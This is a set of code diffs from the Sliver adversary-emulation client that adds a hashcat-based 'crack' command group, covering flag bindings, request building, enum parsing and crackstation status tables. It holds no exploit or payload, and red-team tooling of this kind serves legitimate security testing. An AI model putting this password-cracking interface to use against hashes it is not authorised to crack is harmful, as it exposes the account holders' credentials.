// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
|
||||
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
if cmd.ValidArgsFunction != nil {
|
||||
return
|
||||
}
|
||||
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
|
||||
return nil, cobra.ShellCompDirectiveDefault
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
# client/command/crack
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'crack' command group for the Sliver client console. Handlers map Cobra invocations to crack workflows such as crack files.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Defines the crack command hierarchy, attaching operations for stations and file management.
|
||||
- `crack-files.go` – Manages cracking asset uploads, listings, and removals, handling streaming transfers and chunking.
|
||||
- `crack.go` – Implements station status reporting, health checks, and list rendering for distributed cracking nodes.
|
||||
- `helpers.go` – Supplies completion helpers and byte formatting utilities for crack subcommands.
|
||||
@@ -1,6 +1,7 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -24,6 +25,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
bindCrackFlags(f)
|
||||
})
|
||||
|
||||
crackStationsCmd := &cobra.Command{
|
||||
@@ -34,6 +36,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
CrackStationsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
|
||||
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
|
||||
})
|
||||
crackCmd.AddCommand(crackStationsCmd)
|
||||
|
||||
wordlistsCmd := &cobra.Command{
|
||||
@@ -57,6 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "wordlist name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
|
||||
wordlistsCmd.AddCommand(wordlistsAddCmd)
|
||||
|
||||
wordlistsRmCmd := &cobra.Command{
|
||||
@@ -91,6 +97,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "rules name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
|
||||
rulesCmd.AddCommand(rulesAddCmd)
|
||||
|
||||
rulesRmCmd := &cobra.Command{
|
||||
@@ -126,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
|
||||
})
|
||||
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
|
||||
hcstat2Cmd.AddCommand(hcstat2AddCmd)
|
||||
|
||||
hcstat2RmCmd := &cobra.Command{
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
|
||||
if len(args) > 0 {
|
||||
return true
|
||||
}
|
||||
|
||||
hasFlag := false
|
||||
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
|
||||
if flag.Changed && flag.Name != "timeout" {
|
||||
hasFlag = true
|
||||
}
|
||||
})
|
||||
return hasFlag
|
||||
}
|
||||
|
||||
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
|
||||
flags := cmd.Flags()
|
||||
req := &clientpb.CrackCommand{}
|
||||
|
||||
if flags.Changed("attack-mode") {
|
||||
raw, _ := flags.GetString("attack-mode")
|
||||
attackMode, err := parseCrackAttackMode(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.AttackMode = attackMode
|
||||
}
|
||||
|
||||
if flags.Changed("hash-type") {
|
||||
raw, _ := flags.GetString("hash-type")
|
||||
hashType, err := parseHashType(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.HashType = hashType
|
||||
}
|
||||
|
||||
hashes, _ := flags.GetStringSlice("hash")
|
||||
if len(args) > 0 {
|
||||
hashes = append(hashes, args...)
|
||||
}
|
||||
req.Hashes = hashes
|
||||
|
||||
req.Quiet, _ = flags.GetBool("quiet")
|
||||
req.HexCharset, _ = flags.GetBool("hex-charset")
|
||||
req.HexSalt, _ = flags.GetBool("hex-salt")
|
||||
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
|
||||
req.Force, _ = flags.GetBool("force")
|
||||
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
|
||||
req.Status, _ = flags.GetBool("status")
|
||||
req.StatusJSON, _ = flags.GetBool("status-json")
|
||||
req.StatusTimer, _ = flags.GetUint32("status-timer")
|
||||
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
|
||||
req.MachineReadable, _ = flags.GetBool("machine-readable")
|
||||
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
|
||||
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
|
||||
req.Loopback, _ = flags.GetBool("loopback")
|
||||
|
||||
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
|
||||
req.MarkovHcstat2 = []byte(raw)
|
||||
}
|
||||
req.MarkovDisable, _ = flags.GetBool("markov-disable")
|
||||
req.MarkovClassic, _ = flags.GetBool("markov-classic")
|
||||
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
|
||||
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
|
||||
req.Runtime, _ = flags.GetUint32("runtime")
|
||||
req.Session, _ = flags.GetString("session")
|
||||
req.Restore, _ = flags.GetBool("restore")
|
||||
req.RestoreDisable, _ = flags.GetBool("restore-disable")
|
||||
if raw, _ := flags.GetString("restore-file"); raw != "" {
|
||||
req.RestoreFile = []byte(raw)
|
||||
}
|
||||
|
||||
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
|
||||
for _, raw := range formats {
|
||||
format, err := parseCrackOutfileFormat(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.OutfileFormat = append(req.OutfileFormat, format)
|
||||
}
|
||||
}
|
||||
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
|
||||
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
|
||||
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
|
||||
req.Separator, _ = flags.GetString("separator")
|
||||
req.Stdout, _ = flags.GetBool("stdout")
|
||||
req.Show, _ = flags.GetBool("show")
|
||||
req.Left, _ = flags.GetBool("left")
|
||||
req.Username, _ = flags.GetBool("username")
|
||||
req.Remove, _ = flags.GetBool("remove")
|
||||
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
|
||||
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
|
||||
if raw, _ := flags.GetString("potfile"); raw != "" {
|
||||
req.Potfile = []byte(raw)
|
||||
}
|
||||
|
||||
if flags.Changed("encoding-from") {
|
||||
raw, _ := flags.GetString("encoding-from")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingFrom = enc
|
||||
}
|
||||
if flags.Changed("encoding-to") {
|
||||
raw, _ := flags.GetString("encoding-to")
|
||||
enc, err := parseCrackEncoding(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.EncodingTo = enc
|
||||
}
|
||||
|
||||
req.DebugMode, _ = flags.GetUint32("debug-mode")
|
||||
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
|
||||
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
|
||||
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
|
||||
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
|
||||
req.KeyboardLayoutMapping = []byte(raw)
|
||||
}
|
||||
|
||||
req.Benchmark, _ = flags.GetBool("benchmark")
|
||||
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
|
||||
req.SpeedOnly, _ = flags.GetBool("speed-only")
|
||||
req.ProgressOnly, _ = flags.GetBool("progress-only")
|
||||
req.SegmentSize, _ = flags.GetUint32("segment-size")
|
||||
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
|
||||
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
|
||||
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
|
||||
req.HookThreads, _ = flags.GetUint32("hook-threads")
|
||||
req.HashInfo, _ = flags.GetBool("hash-info")
|
||||
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
|
||||
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
|
||||
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
|
||||
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
|
||||
req.BackendInfo, _ = flags.GetBool("backend-info")
|
||||
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
|
||||
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
|
||||
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
|
||||
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
|
||||
|
||||
if flags.Changed("workload-profile") {
|
||||
raw, _ := flags.GetString("workload-profile")
|
||||
profile, err := parseCrackWorkloadProfile(raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.WorkloadProfile = profile
|
||||
}
|
||||
|
||||
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
|
||||
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
|
||||
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
|
||||
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
|
||||
req.SpinDamp, _ = flags.GetUint32("spin-damp")
|
||||
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
|
||||
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
|
||||
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
|
||||
req.Skip, _ = flags.GetUint64("skip")
|
||||
req.Limit, _ = flags.GetUint64("limit")
|
||||
req.Keyspace, _ = flags.GetBool("keyspace")
|
||||
|
||||
if raw, _ := flags.GetString("rules-file"); raw != "" {
|
||||
req.RulesFile = []byte(raw)
|
||||
}
|
||||
req.GenerateRules, _ = flags.GetUint32("generate-rules")
|
||||
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
|
||||
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
|
||||
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
|
||||
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
|
||||
req.CustomCharset1, _ = flags.GetString("custom-charset1")
|
||||
req.CustomCharset2, _ = flags.GetString("custom-charset2")
|
||||
req.CustomCharset3, _ = flags.GetString("custom-charset3")
|
||||
req.CustomCharset4, _ = flags.GetString("custom-charset4")
|
||||
req.Identify, _ = flags.GetString("identify")
|
||||
req.Increment, _ = flags.GetBool("increment")
|
||||
req.IncrementMin, _ = flags.GetUint32("increment-min")
|
||||
req.IncrementMax, _ = flags.GetUint32("increment-max")
|
||||
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
|
||||
req.BrainServer, _ = flags.GetBool("brain-server")
|
||||
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
|
||||
req.BrainClient, _ = flags.GetBool("brain-client")
|
||||
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
|
||||
req.BrainHost, _ = flags.GetString("brain-host")
|
||||
req.BrainPort, _ = flags.GetUint32("brain-port")
|
||||
req.BrainPassword, _ = flags.GetString("brain-password")
|
||||
req.BrainSession, _ = flags.GetString("brain-session")
|
||||
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
|
||||
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
|
||||
values, _ := flags.GetUintSlice(name)
|
||||
if len(values) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]uint32, len(values))
|
||||
for i, value := range values {
|
||||
out[i] = uint32(value)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackAttackMode(numeric), nil
|
||||
}
|
||||
|
||||
normalized := strings.ToLower(strings.TrimSpace(raw))
|
||||
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
|
||||
switch normalized {
|
||||
case "straight":
|
||||
return clientpb.CrackAttackMode_STRAIGHT, nil
|
||||
case "combination":
|
||||
return clientpb.CrackAttackMode_COMBINATION, nil
|
||||
case "bruteforce", "brute_force", "brute-force":
|
||||
return clientpb.CrackAttackMode_BRUTEFORCE, nil
|
||||
case "hybrid_wordlist_mask":
|
||||
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
|
||||
case "hybrid_mask_wordlist":
|
||||
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
|
||||
case "association":
|
||||
return clientpb.CrackAttackMode_ASSOCIATION, nil
|
||||
case "no_attack", "none":
|
||||
return clientpb.CrackAttackMode_NO_ATTACK, nil
|
||||
default:
|
||||
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func parseHashType(raw string) (clientpb.HashType, error) {
|
||||
if raw == "" {
|
||||
return clientpb.HashType_MD5, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.HashType(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.HashType_value[key]; ok {
|
||||
return clientpb.HashType(value), nil
|
||||
}
|
||||
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackEncoding(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackEncoding_value[key]; ok {
|
||||
return clientpb.CrackEncoding(value), nil
|
||||
}
|
||||
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackOutfileFormat(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
|
||||
return clientpb.CrackOutfileFormat(value), nil
|
||||
}
|
||||
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
|
||||
}
|
||||
|
||||
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
|
||||
if raw == "" {
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
|
||||
}
|
||||
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
|
||||
return clientpb.CrackWorkloadProfile(numeric), nil
|
||||
}
|
||||
key := normalizeEnumKey(raw)
|
||||
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
|
||||
return clientpb.CrackWorkloadProfile(value), nil
|
||||
}
|
||||
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
|
||||
}
|
||||
|
||||
func normalizeEnumKey(value string) string {
|
||||
if value == "" {
|
||||
return ""
|
||||
}
|
||||
var builder strings.Builder
|
||||
builder.Grow(len(value))
|
||||
underscore := false
|
||||
for i := 0; i < len(value); i++ {
|
||||
ch := value[i]
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||
if ch >= 'a' && ch <= 'z' {
|
||||
ch -= 'a' - 'A'
|
||||
}
|
||||
builder.WriteByte(ch)
|
||||
underscore = false
|
||||
continue
|
||||
}
|
||||
if !underscore {
|
||||
builder.WriteByte('_')
|
||||
underscore = true
|
||||
}
|
||||
}
|
||||
return strings.Trim(builder.String(), "_")
|
||||
}
|
||||
@@ -106,17 +106,17 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
|
||||
|
||||
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) {
|
||||
wordlistTable := table.NewWriter()
|
||||
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
|
||||
wordlistTable.SetTitle(console.StyleBold.Render("Wordlists"))
|
||||
wordlistTable.SetStyle(settings.GetTableStyle(con))
|
||||
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
rulesTable := table.NewWriter()
|
||||
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
|
||||
rulesTable.SetTitle(console.StyleBold.Render("Rules"))
|
||||
rulesTable.SetStyle(settings.GetTableStyle(con))
|
||||
rulesTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
hcTable := table.NewWriter()
|
||||
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
|
||||
hcTable.SetTitle(console.StyleBold.Render("Markov Hcstat2"))
|
||||
hcTable.SetStyle(settings.GetTableStyle(con))
|
||||
hcTable.AppendHeader(table.Row{"Name", "Size"})
|
||||
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
package crack
|
||||
|
||||
import "github.com/spf13/pflag"
|
||||
|
||||
func bindCrackFlags(f *pflag.FlagSet) {
|
||||
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
|
||||
f.String("hash-type", "", "hashcat hash type (number or enum name)")
|
||||
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
|
||||
f.Bool("quiet", false, "quiet mode")
|
||||
f.Bool("hex-charset", false, "treat charset as hex")
|
||||
f.Bool("hex-salt", false, "treat salt as hex")
|
||||
f.Bool("hex-wordlist", false, "treat wordlist as hex")
|
||||
f.Bool("force", false, "ignore warnings")
|
||||
f.Bool("deprecated-check-disable", false, "disable deprecated check")
|
||||
f.Bool("status", false, "enable status")
|
||||
f.Bool("status-json", false, "emit status in JSON")
|
||||
f.Uint32("status-timer", 0, "status timer interval (seconds)")
|
||||
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
|
||||
f.Bool("machine-readable", false, "machine readable output")
|
||||
f.Bool("keep-guessing", false, "keep guessing")
|
||||
f.Bool("self-test-disable", false, "disable self-test")
|
||||
f.Bool("loopback", false, "use loopback mode")
|
||||
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
|
||||
f.Bool("markov-disable", false, "disable markov mode")
|
||||
f.Bool("markov-classic", false, "use classic markov")
|
||||
f.Bool("markov-inverse", false, "use inverse markov")
|
||||
f.Uint32("markov-threshold", 0, "markov threshold")
|
||||
f.Uint32("runtime", 0, "runtime in seconds")
|
||||
f.String("session", "", "session name")
|
||||
f.Bool("restore", false, "restore session")
|
||||
f.Bool("restore-disable", false, "disable restore")
|
||||
f.String("restore-file", "", "restore file path or identifier")
|
||||
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
|
||||
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
|
||||
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
|
||||
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
|
||||
f.String("separator", "", "separator character")
|
||||
f.Bool("stdout", false, "stdout output")
|
||||
f.Bool("show", false, "show cracked hashes")
|
||||
f.Bool("left", false, "show uncracked hashes")
|
||||
f.Bool("username", false, "enable username handling")
|
||||
f.Bool("remove", false, "remove cracked hashes")
|
||||
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
|
||||
f.Bool("potfile-disable", false, "disable potfile")
|
||||
f.String("potfile", "", "potfile path or identifier")
|
||||
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
|
||||
f.Uint32("debug-mode", 0, "debug mode mask")
|
||||
f.Bool("logfile-disable", false, "disable logfile")
|
||||
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
|
||||
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
|
||||
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
|
||||
f.Bool("benchmark", false, "run benchmark")
|
||||
f.Bool("benchmark-all", false, "run full benchmark")
|
||||
f.Bool("speed-only", false, "show speed only")
|
||||
f.Bool("progress-only", false, "show progress only")
|
||||
f.Uint32("segment-size", 0, "segment size")
|
||||
f.Uint32("bitmap-min", 0, "bitmap min")
|
||||
f.Uint32("bitmap-max", 0, "bitmap max")
|
||||
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
|
||||
f.Uint32("hook-threads", 0, "hook threads")
|
||||
f.Bool("hash-info", false, "show hash information")
|
||||
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
|
||||
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
|
||||
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
|
||||
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
|
||||
f.Bool("backend-info", false, "show backend info")
|
||||
f.UintSlice("backend-devices", nil, "backend device IDs")
|
||||
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
|
||||
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
|
||||
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
|
||||
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
|
||||
f.Uint32("kernel-accel", 0, "kernel acceleration")
|
||||
f.Uint32("kernel-loops", 0, "kernel loops")
|
||||
f.Uint32("kernel-threads", 0, "kernel threads")
|
||||
f.Uint32("backend-vector-width", 0, "backend vector width")
|
||||
f.Uint32("spin-damp", 0, "spin damp")
|
||||
f.Bool("hwmon-disable", false, "disable hardware monitoring")
|
||||
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
|
||||
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
|
||||
f.Uint64("skip", 0, "skip count")
|
||||
f.Uint64("limit", 0, "limit count")
|
||||
f.Bool("keyspace", false, "show keyspace")
|
||||
f.String("rules-file", "", "rules file path or identifier")
|
||||
f.Uint32("generate-rules", 0, "generate rules")
|
||||
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
|
||||
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
|
||||
f.String("generate-rules-func-sel", "", "generate rules function selection")
|
||||
f.Int32("generate-rules-seed", 0, "generate rules seed")
|
||||
f.String("custom-charset1", "", "custom charset 1")
|
||||
f.String("custom-charset2", "", "custom charset 2")
|
||||
f.String("custom-charset3", "", "custom charset 3")
|
||||
f.String("custom-charset4", "", "custom charset 4")
|
||||
f.String("identify", "", "identify hash")
|
||||
f.Bool("increment", false, "incremental mode")
|
||||
f.Uint32("increment-min", 0, "increment min")
|
||||
f.Uint32("increment-max", 0, "increment max")
|
||||
f.Bool("slow-candidates", false, "slow candidates")
|
||||
f.Bool("brain-server", false, "brain server mode")
|
||||
f.Uint32("brain-server-timer", 0, "brain server timer")
|
||||
f.Bool("brain-client", false, "brain client mode")
|
||||
f.String("brain-client-features", "", "brain client features")
|
||||
f.String("brain-host", "", "brain host")
|
||||
f.Uint32("brain-port", 0, "brain port")
|
||||
f.String("brain-password", "", "brain password")
|
||||
f.String("brain-session", "", "brain session")
|
||||
f.String("brain-session-whitelist", "", "brain session whitelist")
|
||||
}
|
||||
@@ -22,6 +22,7 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -34,6 +35,37 @@ import (
|
||||
|
||||
// CrackCmd - GPU password cracking interface
|
||||
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if shouldRunCrack(cmd, args) {
|
||||
crackCmd, err := buildCrackCommand(cmd, args)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
|
||||
ctx := context.Background()
|
||||
if timeoutSeconds > 0 {
|
||||
var cancel context.CancelFunc
|
||||
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
defer cancel()
|
||||
}
|
||||
|
||||
resp, err := con.Rpc.Crack(ctx, crackCmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if resp == nil || resp.Job == nil {
|
||||
con.PrintInfof("Crack request submitted\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
|
||||
if resp.Job.Err != "" {
|
||||
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if !AreCrackersOnline(con) {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
|
||||
if len(crackers.Crackstations) == 0 {
|
||||
PrintNoCrackstations(con)
|
||||
} else {
|
||||
PrintCrackers(crackers.Crackstations, con)
|
||||
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
|
||||
return len(crackers.Crackstations) > 0
|
||||
}
|
||||
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
|
||||
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
|
||||
sort.Slice(crackers, func(i, j int) bool {
|
||||
return crackers[i].Name < crackers[j].Name
|
||||
})
|
||||
for index, cracker := range crackers {
|
||||
printCracker(cracker, index, con)
|
||||
printCracker(cracker, index, con, showBenchmarks)
|
||||
if index < len(crackers)-1 {
|
||||
con.Println()
|
||||
con.Println()
|
||||
@@ -96,53 +129,63 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
|
||||
}
|
||||
}
|
||||
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
|
||||
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName)) + "\n")
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||
tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), cracker.HashcatVersion})
|
||||
if 0 < len(cracker.CUDA) {
|
||||
for _, cuda := range cracker.CUDA {
|
||||
tw.AppendSeparator()
|
||||
